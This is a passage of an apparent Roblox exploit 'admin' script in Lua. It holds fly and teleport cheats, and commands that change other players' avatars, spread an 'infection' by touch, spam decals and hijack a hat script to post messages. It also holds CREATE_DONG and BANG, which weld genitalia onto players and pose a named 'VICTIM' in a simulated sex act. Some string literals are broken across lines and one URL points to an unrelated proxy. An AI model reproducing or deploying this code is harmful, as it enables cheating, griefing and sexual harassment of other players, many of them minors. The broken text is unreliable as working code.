if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B)
~= 0 then
BV.velocity =
((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) +
((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R,
(CONTROL.F + CONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p))
* SPEED
lCONTROL = {F = CONTROL.F, B = CONTROL.B, L =
CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F +
CONTROL.B) == 0 and SPEED ~= 0 then
BV.velocity =
((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) +
((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R,
(lCONTROL.F + lCONTROL.B) * 0.2, 0).p) -
workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
else
BV.velocity = Vector3.new(0, 0.1, 0)
end
BG.cframe = workspace.CurrentCamera.CoordinateFrame
until not FLYING
CONTROL = {F = 0, B = 0, L = 0, R = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0}
SPEED = 0
BG:destroy()
BV:destroy()
LP.Character.Humanoid.PlatformStand = false
end)
end

MOUSE.KeyDown:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 1
elseif KEY:lower() == 's' then
CONTROL.B = -1
elseif KEY:lower() == 'a' then
CONTROL.L = -1
elseif KEY:lower() == 'd' then
CONTROL.R = 1
end
end)

MOUSE.KeyUp:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 0
elseif KEY:lower() == 's' then
CONTROL.B = 0
elseif KEY:lower() == 'a' then
CONTROL.L = 0
elseif KEY:lower() == 'd' then
CONTROL.R = 0
end
end)
FLY()
end

function NOFLY()
FLYING = false
LP.Character.Humanoid.PlatformStand = false
end

function RESET_MODEL(MODEL)
for i,v in pairs(MODEL:GetChildren()) do
if v:IsA('Seat') and v.Name == 'FakeTorso' then
v:destroy()
elseif v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or
v:IsA('Accessory') then
v:destroy()
elseif v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.Transparency = 0
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
for i,v in pairs(MODEL.Torso:GetChildren()) do
if v:IsA('SpecialMesh') then
v:destroy()
end
end
if MODEL.Head:FindFirstChild('Mesh') then
MODEL.Head.Mesh:destroy()
end
if MODEL.Torso:FindFirstChild('Neck') then MODEL.Torso.Neck.C0 =
CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(90), math.rad(180), 0) end
if MODEL.Torso:FindFirstChild('Left Shoulder') then MODEL.Torso['Left
Shoulder'].C0 = CFrame.new(-1, 0.5, 0) * CFrame.Angles(0, math.rad(-90), 0) end
if MODEL.Torso:FindFirstChild('Right Shoulder') then MODEL.Torso['Right
Shoulder'].C0 = CFrame.new(1, 0.5, 0) * CFrame.Angles(0, math.rad(90), 0) end
if MODEL.Torso:FindFirstChild('Left Hip') then MODEL.Torso['Left Hip'].C0 =
CFrame.new(-1, -1, 0) * CFrame.Angles(0, math.rad(-90), 0) end
if MODEL.Torso:FindFirstChild('Right Hip') then MODEL.Torso['Right Hip'].C0 =
CFrame.new(1, -1, 0) * CFrame.Angles(0, math.rad(90), 0) end
end

function UPDATE_MODEL(MODEL, USERNAME)


local AppModel =
_PLAYERS:GetCharacterAppearanceAsync(_PLAYERS:GetUserIdFromNameAsync(USERNAME))
MODEL.Name = USERNAME
for i,v in pairs(AppModel:GetChildren()) do
if v:IsA('SpecialMesh') or v:IsA('BlockMesh') or v:IsA('CylinderMesh')
then
v.Parent = MODEL.Head
elseif v:IsA('Decal') then
if MODEL.Head:FindFirstChild('face') then
MODEL.Head.face.Texture = v.Texture
else
local FACE = Instance.new('Decal', MODEL.Head)
FACE.Texture = v.Texture
end
elseif v:IsA('BodyColors') or v:IsA('CharacterMesh') or v:IsA('Shirt')
or v:IsA('Pants') or v:IsA('ShirtGraphic') then
if MODEL:FindFirstChild('Body Colors') then
MODEL['Body Colors']:destroy()
end
v.Parent = MODEL
elseif v:IsA('Accessory') then
v.Parent = MODEL
v.Handle.CFrame = MODEL.Head.CFrame * CFrame.new(0,
MODEL.Head.Size.Y / 2, 0) * v.AttachmentPoint:inverse()
end
end
if not MODEL.Head:FindFirstChild('Mesh') then
local SM = Instance.new('SpecialMesh', MODEL.Head)
SM.MeshType = Enum.MeshType.Head
SM.Scale = Vector3.new(1.25, 1.25, 1.25)
end
end

function CREEPER(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Accessory') then
v:destroy()
end
end
PLAYER.Character.Torso.Neck.C0 = CFrame.new(0,1,0) *
CFrame.Angles(math.rad(90),math.rad(180),0)
PLAYER.Character.Torso['Right Shoulder'].C0 = CFrame.new(0,-1.5,-.5) *
CFrame.Angles(0,math.rad(90),0)
PLAYER.Character.Torso['Left Shoulder'].C0 = CFrame.new(0,-1.5,-.5) *
CFrame.Angles(0,math.rad(-90),0)
PLAYER.Character.Torso['Right Hip'].C0 = CFrame.new(0,-1,.5) *
CFrame.Angles(0,math.rad(90),0)
PLAYER.Character.Torso['Left Hip'].C0 = CFrame.new(0,-1,.5) *
CFrame.Angles(0,math.rad(-90),0)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.BrickColor = BrickColor.new('Bright green')
end
end
end

function SHREK(PLAYER)
COLOR(PLAYER, 'Bright green')
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') or
v:IsA('CharacterMesh') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
for i,v in pairs(PLAYER.Character.Head:GetChildren()) do
if v:IsA('Decal') or v:IsA('SpecialMesh') then
v:destroy()
end
end
if PLAYER.Character:FindFirstChild('Shirt Graphic') then
PLAYER.Character['Shirt Graphic'].Archivable = false
PLAYER.Character['Shirt Graphic'].Graphic = ''
end
local M = Instance.new('SpecialMesh', PLAYER.Character.Head)
local S = Instance.new('Shirt', PLAYER.Character)
local P = Instance.new('Pants', PLAYER.Character)
M.MeshType = 'FileMesh'
M.MeshId = 'rbxassetid://19999257'
M.Offset = Vector3.new(-0.1, 0.1, 0)
M.TextureId = 'rbxassetid://156397869'
S.ShirtTemplate = 'rbxassetid://133078194'
P.PantsTemplate = 'rbxassetid://133078204'
end

function DUCK(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'Torso' and v.Name ~= 'HumanoidRootPart'
then
v.Transparency = 1
elseif v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
local DUCK = Instance.new('SpecialMesh', PLAYER.Character.Torso)
DUCK.MeshType = 'FileMesh'
DUCK.MeshId = 'rbxassetid://9419831'
DUCK.TextureId = 'rbxassetid://9419827'
DUCK.Scale = Vector3.new(5, 5, 5)
if PLAYER.Character.Head:FindFirstChild('face') then
PLAYER.Character.Head.face.Transparency = 1
end
end

function DOG(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
PLAYER.Character.Torso.Transparency = 1
PLAYER.Character.Torso.Neck.C0 = CFrame.new(0, -0.5, -2) *
CFrame.Angles(math.rad(90), math.rad(180), 0)
PLAYER.Character.Torso['Right Shoulder'].C0 = CFrame.new(0.5, -1.5, -1.5) *
CFrame.Angles(0, math.rad(90), 0)
PLAYER.Character.Torso['Left Shoulder'].C0 = CFrame.new(-0.5, -1.5, -1.5) *
CFrame.Angles(0, math.rad(-90), 0)
PLAYER.Character.Torso['Right Hip'].C0 = CFrame.new(1.5, -1, 1.5) *
CFrame.Angles(0, math.rad(90), 0)
PLAYER.Character.Torso['Left Hip'].C0 = CFrame.new(-1.5, -1, 1.5) *
CFrame.Angles(0, math.rad(-90), 0)
local FakeTorso = Instance.new('Seat', PLAYER.Character)
local BF = Instance.new('BodyForce', FakeTorso)
local W = Instance.new('Weld', PLAYER.Character.Torso)
FakeTorso.Name = 'FakeTorso'
FakeTorso.TopSurface = 0
FakeTorso.BottomSurface = 0
FakeTorso.Size = Vector3.new(3,1,4)
FakeTorso.BrickColor = BrickColor.new('Brown')
FakeTorso.CFrame = PLAYER.Character.Torso.CFrame
BF.Force = Vector3.new(0, FakeTorso:GetMass() * 196.25, 0)
W.Part0 = PLAYER.Character.Torso
W.Part1 = FakeTorso
W.C0 = CFrame.new(0, -0.5, 0)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.BrickColor = BrickColor.new('Brown')
end
end
end

function ALIEN(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
elseif v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.BrickColor = BrickColor.new('Fossil')
end
end
ALIEN_H:Clone().Parent = PLAYER.Character
end

function DECALSPAM(INSTANCE, ID)


for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
spawn(function()
local FACES = {'Back', 'Bottom', 'Front', 'Left', 'Right',
'Top'}
local CURRENT_FACE = 1
for i = 1, 6 do
local DECAL = Instance.new('Decal', v)
DECAL.Name = 'decal_seth'
DECAL.Texture = 'rbxassetid://' .. ID - 1
DECAL.Face = FACES[CURRENT_FACE]
CURRENT_FACE = CURRENT_FACE + 1
end
end)
end
DECALSPAM(v, ID)
end
end

function UNDECALSPAM(INSTANCE)
for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
for a,b in pairs(v:GetChildren()) do
if b:IsA('Decal') and b.Name == 'decal_seth' then
b:destroy()
end
end
end
UNDECALSPAM(v)
end
end

function CREATE_DONG(PLAYER, DONG_COLOR)


if PLAYER.Character:FindFirstChild('DONG') then
PLAYER.Character.DONG:destroy()
end
local D = Instance.new('Model', PLAYER.Character)
D.Name = 'DONG'

local BG = Instance.new('BodyGyro', PLAYER.Character.Torso)


local MAIN = Instance.new('Part', PLAYER.Character['DONG'])
local M1 = Instance.new('CylinderMesh', MAIN)
local W1 = Instance.new('Weld', PLAYER.Character.Head)
local P1 = Instance.new('Part', PLAYER.Character['DONG'])
local M2 = Instance.new('SpecialMesh', P1)
local W2 = Instance.new('Weld', P1)
local B1 = Instance.new('Part', PLAYER.Character['DONG'])
local M3 = Instance.new('SpecialMesh', B1)
local W3 = Instance.new('Weld', B1)
local B2 = Instance.new('Part', PLAYER.Character['DONG'])
local M4 = Instance.new('SpecialMesh', B2)
local W4 = Instance.new('Weld', B2)
MAIN.TopSurface = 0 MAIN.BottomSurface = 0 MAIN.Name = 'Main' MAIN.Size =
Vector3.new(0.6, 2.5, 0.6) MAIN.BrickColor = BrickColor.new(DONG_COLOR)
MAIN.Position = PLAYER.Character.Head.Position MAIN.CanCollide = false
W1.Part0 = MAIN W1.Part1 = PLAYER.Character.Head W1.C0 = CFrame.new(0, 0.25,
2.1) * CFrame.Angles(math.rad(45), 0, 0)
P1.Name = 'Mush' P1.BottomSurface = 0 P1.TopSurface = 0 P1.Size =
Vector3.new(0.6, 0.6, 0.6) P1.CFrame = CFrame.new(MAIN.Position) P1.BrickColor =
BrickColor.new('Pink') P1.CanCollide = false
M2.MeshType = 'Sphere'
W2.Part0 = MAIN W2.Part1 = P1 W2.C0 = CFrame.new(0, 1.3, 0)
B1.Name = 'Left Ball' B1.BottomSurface = 0 B1.TopSurface = 0 B1.CanCollide =
false B1.Size = Vector3.new(1, 1, 1) B1.CFrame = CFrame.new(PLAYER.Character['Left
Leg'].Position) B1.BrickColor = BrickColor.new(DONG_COLOR)
M3.Parent = B1 M3.MeshType = 'Sphere'
W3.Part0 = PLAYER.Character['Left Leg'] W3.Part1 = B1 W3.C0 = CFrame.new(0,
0.5, -0.5)
B2.Name = 'Right Ball' B2.BottomSurface = 0 B2.CanCollide = false
B2.TopSurface = 0 B2.Size = Vector3.new(1, 1, 1) B2.CFrame =
CFrame.new(PLAYER.Character['Right Leg'].Position) B2.BrickColor =
BrickColor.new(DONG_COLOR)
M4.MeshType = 'Sphere'
W4.Part0 = PLAYER.Character['Right Leg'] W4.Part1 = B2 W4.C0 = CFrame.new(0,
0.5, -0.5)
end

function SCALE(C, S)
if tonumber(S) < 0.5 then S = 0.5 elseif tonumber(S) > 25 then S = 25 end

local HAT_CLONE = {}

for i,v in pairs(C:GetChildren()) do if v:IsA('Accessory') then local HC =


v:Clone() table.insert(HAT_CLONE, HC) v:destroy() end end

local HEAD = C.Head


local TORSO = C.Torso
local LA = C['Left Arm']
local RA = C['Right Arm']
local LL = C['Left Leg']
local RL = C['Right Leg']
local HRP = C.HumanoidRootPart

HEAD.Size = Vector3.new(S * 2, S, S)
TORSO.Size = Vector3.new(S * 2, S * 2, S)
LA.Size = Vector3.new(S, S * 2, S)
RA.Size = Vector3.new(S, S * 2, S)
LL.Size = Vector3.new(S, S * 2, S)
RL.Size = Vector3.new(S, S * 2, S)
HRP.Size = Vector3.new(S * 2, S * 2, S)

local M1 = Instance.new('Motor6D', TORSO)


local M2 = Instance.new('Motor6D', TORSO)
local M3 = Instance.new('Motor6D', TORSO)
local M4 = Instance.new('Motor6D', TORSO)
local M5 = Instance.new('Motor6D', TORSO)
local M6 = Instance.new('Motor6D', HRP)

M1.Name = 'Neck' M1.Part0 = TORSO M1.Part1 = HEAD M1.C0 = CFrame.new(0, 1 *


S, 0) * CFrame.Angles(-1.6, 0, 3.1) M1.C1 = CFrame.new(0, -0.5 * S, 0) *
CFrame.Angles(-1.6, 0, 3.1)
M2.Name = 'Left Shoulder' M2.Part0 = TORSO M2.Part1 = LA M2.C0 = CFrame.new(-
1 * S, 0.5 * S, 0) * CFrame.Angles(0, -1.6, 0) M2.C1 = CFrame.new(0.5 * S, 0.5 * S,
0) * CFrame.Angles(0, -1.6, 0)
M3.Name = 'Right Shoulder' M3.Part0 = TORSO M3.Part1 = RA M3.C0 =
CFrame.new(1 * S, 0.5 * S, 0) * CFrame.Angles(0, 1.6, 0) M3.C1 = CFrame.new(-0.5 *
S, 0.5 * S, 0) * CFrame.Angles(0, 1.6, 0)
M4.Name = 'Left Hip' M4.Part0 = TORSO M4.Part1 = LL M4.C0 = CFrame.new(-1 *
S, -1 * S, 0) * CFrame.Angles(0, -1.6, 0) M4.C1 = CFrame.new(-0.5 * S, 1 * S, 0) *
CFrame.Angles(0, -1.6, 0)
M5.Name = 'Right Hip' M5.Part0 = TORSO M5.Part1 = RL M5.C0 = CFrame.new(1 *
S, -1 * S, 0) * CFrame.Angles(0, 1.6, 0) M5.C1 = CFrame.new(0.5 * S, 1 * S, 0) *
CFrame.Angles(0, 1.6, 0)
M6.Name = 'RootJoint' M6.Part0 = HRP M6.Part1 = TORSO M6.C0 = CFrame.new(0,
0, 0) * CFrame.Angles(-1.6, 0, -3.1) M6.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(-
1.6, 0, -3.1)
for i,v in pairs(HAT_CLONE) do v.Parent = C end
end

function CAPE(COLOR)
if LP.Character:FindFirstChild('Cape') then LP.Character.Cape:destroy() end

repeat wait() until LP and LP.Character and


LP.Character:FindFirstChild('Torso')

local T = LP.Character.Torso

local C = Instance.new('Part', T.Parent)


C.Name = 'cape_seth'
C.Anchored = false
C.CanCollide = false
C.TopSurface = 0
C.BottomSurface = 0
C.BrickColor = BrickColor.new(COLOR)
C.Material = 'Neon'
C.Size = Vector3.new(0.2, 0.2, 0.2)

local M = Instance.new('BlockMesh', C)
M.Scale = Vector3.new(9, 17.5, 0.5)

local M1 = Instance.new('Motor', C)
M1.Part0 = C
M1.Part1 = T
M1.MaxVelocity = 1
M1.C0 = CFrame.new(0, 1.75, 0) * CFrame.Angles(0, math.rad(90), 0)
M1.C1 = CFrame.new(0, 1, .45) * CFrame.Angles(0, math.rad(90), 0)

local WAVE = false

repeat wait(1 / 44)


local ANG = 0.2
local oldMag = T.Velocity.magnitude
local MV = 0.1

if WAVE then
ANG = ANG + ((T.Velocity.magnitude / 10) * 0.05) + 1
WAVE = false
else
WAVE = false
end
ANG = ANG + math.min(T.Velocity.magnitude / 30, 1)
M1.MaxVelocity = math.min((T.Velocity.magnitude / 10), 0.04) + MV
M1.DesiredAngle = -ANG
if M1.CurrentAngle < -0.05 and M1.DesiredAngle > -.05 then
M1.MaxVelocity = 0.04
end
repeat
wait()
until M1.CurrentAngle == M1.DesiredAngle or
math.abs(T.Velocity.magnitude - oldMag) >= (T.Velocity.magnitude / 10) + 1
if T.Velocity.magnitude < 0.1 then
wait(0.1)
end
until not C or C.Parent ~= T.Parent
end

function INFECT(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
Instance.new('Folder', PLAYER.Character).Name = 'infected_seth'
if v:IsA('Accessory') or v:IsA('Shirt') or v:IsA('Pants') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end

if PLAYER.Character.Head:FindFirstChild('face') then
PLAYER.Character.Head.face.Texture = 'rbxassetid://7074882'
end

for i,v in pairs (PLAYER.Character:GetChildren()) do


if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
if v.Name == 'Head' or v.Name == 'Left Arm' or v.Name == 'Right
Arm' then
v.BrickColor = BrickColor.new('Medium green')
elseif v.Name == 'Torso' or v.Name == 'Left Leg' or v.Name ==
'Right Leg' then
v.BrickColor = BrickColor.new('Brown')
end
end
end

local T = PLAYER.Character.Torso.Touched:connect(function(TC)
if not TC.Parent:FindFirstChild('infected_seth') then
local GPFC = _PLAYERS:GetPlayerFromCharacter(TC.Parent)
if GPFC then
INFECT(GPFC)
end
end
end)
end

function fWeld(zName, zParent, zPart0, zPart1, zCoco, A, B, C, D, E, F)


local funcw = Instance.new('Weld') funcw.Name = zName funcw.Parent = zParent
funcw.Part0 = zPart0 funcw.Part1 = zPart1
if (zCoco) then
funcw.C0 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F)
else
funcw.C1 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F)
end
return funcw
end

function BANG(VICTIM)
spawn(function()
local P1 = _PLAYERS.LocalPlayer.Character.Torso
local V1 = _PLAYERS[VICTIM].Character.Torso

V1.Parent.Humanoid.PlatformStand = true

P1['Left Shoulder']:destroy() local LA1 = Instance.new('Weld', P1)


LA1.Part0 = P1 LA1.Part1 = P1.Parent['Left Arm'] LA1.C0 = CFrame.new(-1.5, 0, 0)
LA1.Name = 'Left Shoulder'

P1['Right Shoulder']:destroy() local RS1 = Instance.new('Weld', P1)


RS1.Part0 = P1 RS1.Part1 = P1.Parent['Right Arm'] RS1.C0 = CFrame.new(1.5, 0, 0)
RS1.Name = 'Right Shoulder'

V1['Left Shoulder']:destroy() local LS2 = Instance.new('Weld', V1)


LS2.Part0 = V1 LS2.Part1 = V1.Parent['Left Arm'] LS2.C0 = CFrame.new(-1.5, 0, 0)
LS2.Name = 'Left Shoulder'

V1['Right Shoulder']:destroy() local RS2 = Instance.new('Weld', V1)


RS2.Part0 = V1 RS2.Part1 = V1.Parent['Right Arm'] RS2.C0 = CFrame.new(1.5, 0, 0)
RS2.Name = 'Right Shoulder'

V1['Left Hip']:destroy() local LH2 = Instance.new('Weld', V1) LH2.Part0


= V1 LH2.Part1 = V1.Parent['Left Leg'] LH2.C0 = CFrame.new(-0.5, -2, 0) LH2.Name =
'Left Hip'

V1['Right Hip']:destroy() local RH2 = Instance.new('Weld', V1)


RH2.Part0 = V1 RH2.Part1 = V1.Parent['Right Leg'] RH2.C0 = CFrame.new(0.5, -2, 0)
RH2.Name = 'Right Hip'

local D = Instance.new('Part', P1) D.TopSurface = 0 D.BottomSurface = 0


D.CanCollide = false D.BrickColor = BrickColor.new('Pastel brown') D.Shape = 'Ball'
D.Size = Vector3.new(1, 1, 1)

local DM1 = Instance.new('SpecialMesh', D) DM1.MeshType = 'Sphere'


DM1.Scale = Vector3.new(0.4, 0.4, 0.4)

fWeld('weld', P1, P1, D, true, -0.2, -1.3, -0.6, 0, 0, 0)

local D2 = D:Clone() D2.Parent = P1

fWeld('weld', P1, P1, D2, true, 0.2, -1.3, -0.6, 0, 0, 0)

local C = Instance.new('Part', P1) C.TopSurface = 0 C.BottomSurface = 0


C.CanCollide = false C.BrickColor = BrickColor.new('Pastel brown') C.Size =
Vector3.new(0.4, 1.3, 0.4)

fWeld('weld', P1, P1, C, true, 0, -1, -0.52 + (-C.Size.y / 2),


math.rad(-80), 0, 0)

local C2 = D:Clone() C2.BrickColor = BrickColor.new('Pink')


C2.Mesh.Scale = Vector3.new(0.4, 0.62, 0.4) C2.Parent = P1

fWeld('weld', C, C, C2, true, 0, 0 + (C.Size.y / 2), 0, math.rad(-10),


0, 0)

local CM = Instance.new('CylinderMesh', C)

local BL = Instance.new('Part', V1) BL.TopSurface = 0 BL.BottomSurface


= 0 BL.CanCollide = false BL.BrickColor = BrickColor.new('Pastel brown') BL.Shape =
'Ball' BL.Size = Vector3.new(1, 1, 1)

local DM2 = Instance.new('SpecialMesh', BL) DM2.MeshType = 'Sphere'


DM2.Scale = Vector3.new(1.2, 1.2, 1.2)

fWeld('weld', V1, V1, BL, true, -0.5, 0.5, -0.6, 0, 0, 0)


local BR = Instance.new('Part', V1) BR.TopSurface = 0 BR.BottomSurface
= 0 BR.CanCollide = false BR.BrickColor = BrickColor.new('Pastel brown') BR.Shape =
'Ball' BR.Size = Vector3.new(1, 1, 1)

local DM3 = Instance.new('SpecialMesh', BR) DM3.MeshType = 'Sphere'


DM3.Scale = Vector3.new(1.2, 1.2, 1.2)

fWeld('weld', V1, V1, BR, true, 0.5, 0.5, -0.6, 0, 0, 0)

local BLN = Instance.new('Part', V1) BLN.TopSurface = 0


BLN.BottomSurface = 0 BLN.CanCollide = false BLN.BrickColor =
BrickColor.new('Pink') BLN.Shape = 'Ball' BLN.Size = Vector3.new(1, 1, 1)

local DM4 = Instance.new('SpecialMesh', BLN) DM4.MeshType = 'Sphere'


DM4.Scale = Vector3.new(0.2, 0.2, 0.2)

fWeld('weld', V1, V1, BLN, true, -0.5, 0.5, -1.2, 0, 0, 0)

local BRN = Instance.new('Part', V1) BRN.TopSurface = 0


BRN.BottomSurface = 0 BRN.CanCollide = false BRN.BrickColor =
BrickColor.new('Pink') BRN.Shape = 'Ball' BRN.Size = Vector3.new(1, 1, 1)

local DM5 = Instance.new('SpecialMesh', BRN) DM5.MeshType = 'Sphere'


DM5.Scale = Vector3.new(0.2, 0.2, 0.2)

fWeld('weld', V1, V1, BRN, true, 0.5, 0.5, -1.2, 0, 0, 0)

LH2.C1 = CFrame.new(0.2, 1.6, 0.4) * CFrame.Angles(3.9, -0.4, 0) RH2.C1


= CFrame.new(-0.2, 1.6, 0.4) * CFrame.Angles(3.9, 0.4, 0)
LS2.C1 = CFrame.new(-0.2, 0.9, 0.6) * CFrame.Angles(3.9, -0.2, 0)
RS2.C1 = CFrame.new(0.2, 0.9, 0.6) * CFrame.Angles(3.9, 0.2, 0)
LA1.C1 = CFrame.new(-0.5, 0.7, 0) * CFrame.Angles(-0.9, -0.4, 0) RS1.C1
= CFrame.new(0.5, 0.7, 0) * CFrame.Angles(-0.9, 0.4, 0)

if P1:FindFirstChild('weldx') then P1.weldx:destroy() end

WE = fWeld('weldx', P1, P1, V1, true, 0, -0.9, -1.3, math.rad(-90), 0,


0)

local N = V1.Neck N.C0 = CFrame.new(0, 1.5, 0) *


CFrame.Angles(math.rad(-210), math.rad(180), 0)
end)
spawn(function() while wait() do for i = 1, 6 do WE.C1 = WE.C1 *
CFrame.new(0, -0.3, 0) end for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, 0.3, 0)
end end end)
end

function RESPAWN(PLAYER)
local M = Instance.new('Model', workspace) M.Name = 'respawn_seth'
local T = Instance.new('Part', M) T.Name = 'Torso' T.CanCollide = false
T.Transparency = 1
Instance.new('Humanoid', M)
PLAYER.Character = M
end

function LOAD_MESSAGE(STRING)
_PLAYERS.LocalPlayer.CharacterAppearanceId = 20018
RESPAWN(LP)
R = false
LP.CharacterAdded:connect(function()
if not R then
wait(0.5)
if LP.Character:FindFirstChild('Humanoid') then
MAIN_HAT =
LP.Character:FindFirstChild('BunnyEarsOfCaprice'):Clone()
end
R = true
end
end)
repeat wait() until R
RESPAWN(LP)
LP.CharacterAppearanceId = 0

if MAIN_HAT then
MAIN_HAT.Handle.CanCollide = true
local M = MAIN_HAT.Handle.BunnyTools.EggScript3:Clone()
local P = Instance.new('Part')
M.Disabled = false
M.Parent = P
MAIN_HAT.Handle.BunnyTools.EggMesh3:Clone().Parent = P
MAIN_HAT:destroy()
P.Parent = LP.Character
repeat wait() until LP:FindFirstChild('ChessMsg')
MG = LP:FindFirstChild('ChessMsg')
MG.Name = 'message_seth'
MG.Text = ''
MG.Parent = workspace
MESSAGE(STRING)
P:destroy()
for i,v in pairs(workspace:GetChildren()) do
if v:IsA('Part') and v.BrickColor == BrickColor.new('Bright red')
and v.Reflectance == 0 and v.Transparency == 0 and not v.Anchored and v.CanCollide
and v.Locked and v:FindFirstChild('Decal') and v.Size == Vector3.new(8, 0.4, 8)
then
if v.Decal.Texture == 'http://www.roblox.com/asset/?
id=1531000' and v.Transparency == 0 and v.Decal.Face == Enum.NormalId.Top then
v:destroy()
end
end
end
end
end

function MESSAGE(STRING)
if not SHOWING_MESSAGE then
spawn(function()
SHOWING_MESSAGE = true
MG.Text = STRING
wait(5)
MG.Text = ''
SHOWING_MESSAGE = false
end)
end
end

_G.CLICK_TP = false
local M_CTRL = false
MOUSE.KeyDown:connect(function(K) if K:byte() == 50 then M_CTRL = true end end)
MOUSE.KeyUp:connect(function(K) if K:byte() == 50 then M_CTRL = false end end)
MOUSE.Button1Down:connect(function() if _G.CLICK_TP and M_CTRL and MOUSE.Target and
LP.Character and LP.Character:FindFirstChild('HumanoidRootPart') then
LP.Character.HumanoidRootPart.CFrame = CFrame.new(MOUSE.Hit.p) + Vector3.new(0, 3,
0) end end)

_LIGHTING.Outlines = false -- / outlines are gross

if FIND_IN_TABLE(BANS, LP.userId) then LP:Kick() end

for i,v in pairs(_PLAYERS:GetPlayers()) do if FIND_IN_TABLE(BANS, v.userId) then


table.insert(KICKS, v) else UPDATE_CHAT(v) end end

-- / commands

ADD_COMMAND('ff','ff [plr]', {},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
Instance.new('ForceField', _PLAYERS[v].Character)
end
end)

ADD_COMMAND('unff','unff [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
if v:IsA('ForceField') then
v:destroy()
end
end
end
end)

ADD_COMMAND('fire','fire [plr] [r] [g] [b]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
local F = Instance.new('Fire', v)
if ARGS[2] and ARGS[3] and ARGS[4] then
F.Color = C3(ARGS[2], ARGS[3], ARGS[4])
F.SecondaryColor = C3(ARGS[2], ARGS[3], ARGS[4])
end
end
end
end
end)

ADD_COMMAND('unfire','unfire [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
for i,v in pairs(v:GetChildren()) do
if v:IsA('Fire') then
v:destroy()
end
end
end
end
end)

ADD_COMMAND('sp','sp [plr] [r] [g] [b]',{'sparkles'},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
if ARGS[2] and ARGS[3] and ARGS[4] then
Instance.new('Sparkles', v).Color = C3(ARGS[2],
ARGS[3], ARGS[4])
else
Instance.new('Sparkles', v)
end
end
end
end
end)

ADD_COMMAND('unsp','unsp [plr]',{'unsparkles'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
for i,v in pairs(v:GetChildren()) do
if v:IsA('Sparkles') then
v:destroy()
end
end
end
end
end)

ADD_COMMAND('smoke','smoke [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
Instance.new('Smoke', _PLAYERS[v].Character.Torso)
end
end)

